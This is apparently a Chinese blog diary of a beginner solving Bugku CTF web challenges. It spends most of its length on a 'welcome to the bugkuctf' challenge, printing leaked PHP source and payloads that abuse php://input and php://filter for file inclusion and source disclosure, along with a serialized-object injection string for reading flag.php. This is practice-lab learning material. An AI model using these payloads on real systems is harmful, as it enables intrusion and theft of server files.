seventh-day

 · 2019-8-5 · 次阅读


21.秋名山老司机(http://123.206.87.240:8002/qiumingshan/)
  进入页面,提示我在2S内计算老司机的车速是多少,妈耶,十多亿数量级的加法2S内完成。手工肯定不行,这得考计算机,这个就涉及到我的知识盲区了,但我知道应该是能用一个脚本2S内提交其答案。百度吧,学习下其他人的解法。由于此前从未学习过Python对于其脚本的运行报错一大堆,目前正下载重装最新版本以求解决方案,先做下一道题。
22.速度要快(http://123.206.87.240:8002/web6/)
  进入页面。。提示我感觉你得快点,不会又让我用python脚本吧饶了我吧!!!,先F12看看,欸在网络中发现一个flag,6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogT1RBNE9UYzE=,base64解码试试,欸速度要快行吧,又是一道Python提交题,换下一道。
23.welcome the bugkuctf(http://123.206.87.240:8006/test1/)
  进入页面,说我不是bugku的成员,这,先F12,可以看到如下注释中的提示:
$user = $_GET[“txt”];
$file = $_GET[“file”];
$pass = $_GET[“password”];

if(isset($user)&&(file_get_contents($user,’r’)===”welcome to the bugkuctf”)){
echo “hello admin!
“;
include($file); //hint.php
}else{
echo “you are not admin ! “;
}
代码意思大致是先从get中设置了user,file,pass变量,然后判断语句是如果设置了user变量并且从文件中采用读取方式得到的成分为welcome to the bugkuctf 就输出hello admin并且给我们打开提示的php文件。这道题考的就是一个文件流的打开,试试php流。使用之前类似的payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=尝试打开hint.php.等一下这种流的方式好像要post方式才可以,修改一下。
由于hackbar出了些问题,post不了因而采用BP提交上述payload得到以下代码。(得到的都是base64的值进行解码后为以下代码)
file)){ echo file_get_contents($this->file); echo "
"; return ("good"); } } } ?>
仔细阅读,注释了一个flag.php,该类为flag类,函数是tostring,如果设置了this的file方法就输出其文件的内容,并输出good.这儿还不知道要干什么,先看下面的。
将payload中的hint.php改为Index.php看一下,解码后得到如下代码
<?php
$txt = $_GET[“txt”];
$file = $_GET[“file”];
$password = $_GET[“password”];

if(isset($txt)&&(file_get_contents($txt,’r’)===”welcome to the bugkuctf”)){
echo “hello friend!
“;
if(preg_match(“/flag/“,$file)){
echo “ä¸èƒ½çŽ°åœ¨å°±ç»™ä½ flag哦”;
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo “you are not the number of bugku ! “;
}

?>
index.php中注释的内容之前看过就不看了,可以看到如果文件名中包含flag会输出一些什么,应该是中文因而不会是flag,可以试试,改为flag.php来验证。出现了一堆乱码,(解决乱码问题后,发现是不能现在给你flag哦)因而继续其他方法获取flag.else包含了file文件,搜索了以下umserialize函数的意思,大致意思是将已序列化的变量转化为PHP值,说实话,这个序列化我没怎么懂,然后这样就输出password。这里参考了下他人的博文,大致理解是要将password传入一个flag类,并且还需要将这个对象序列化,这样再反序列化就是正常的,因而参考别人博客有:<?php
class Flag{//flag.php
public $file;
}

$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
print_r($a);

?>该PHP即为将传入password的值获得的php,运行后得到O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}之后构造:payload:?txt=php://input&file=hint.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}转发包即可获得flag.
  :summary:今天一天的题都做得很蒙蔽,前两道到现在依旧没有做出来,死在了不会python上,后一道题,对于这个序列化的问题不是很清楚因而卡了很久,并且参考别人博客自己做着也是似懂非懂,因而下来还需继续努力将其搞懂,在完全明白后我还会来继续修改这一天博客的内容,修改我错误的理解,新增我所知道了的。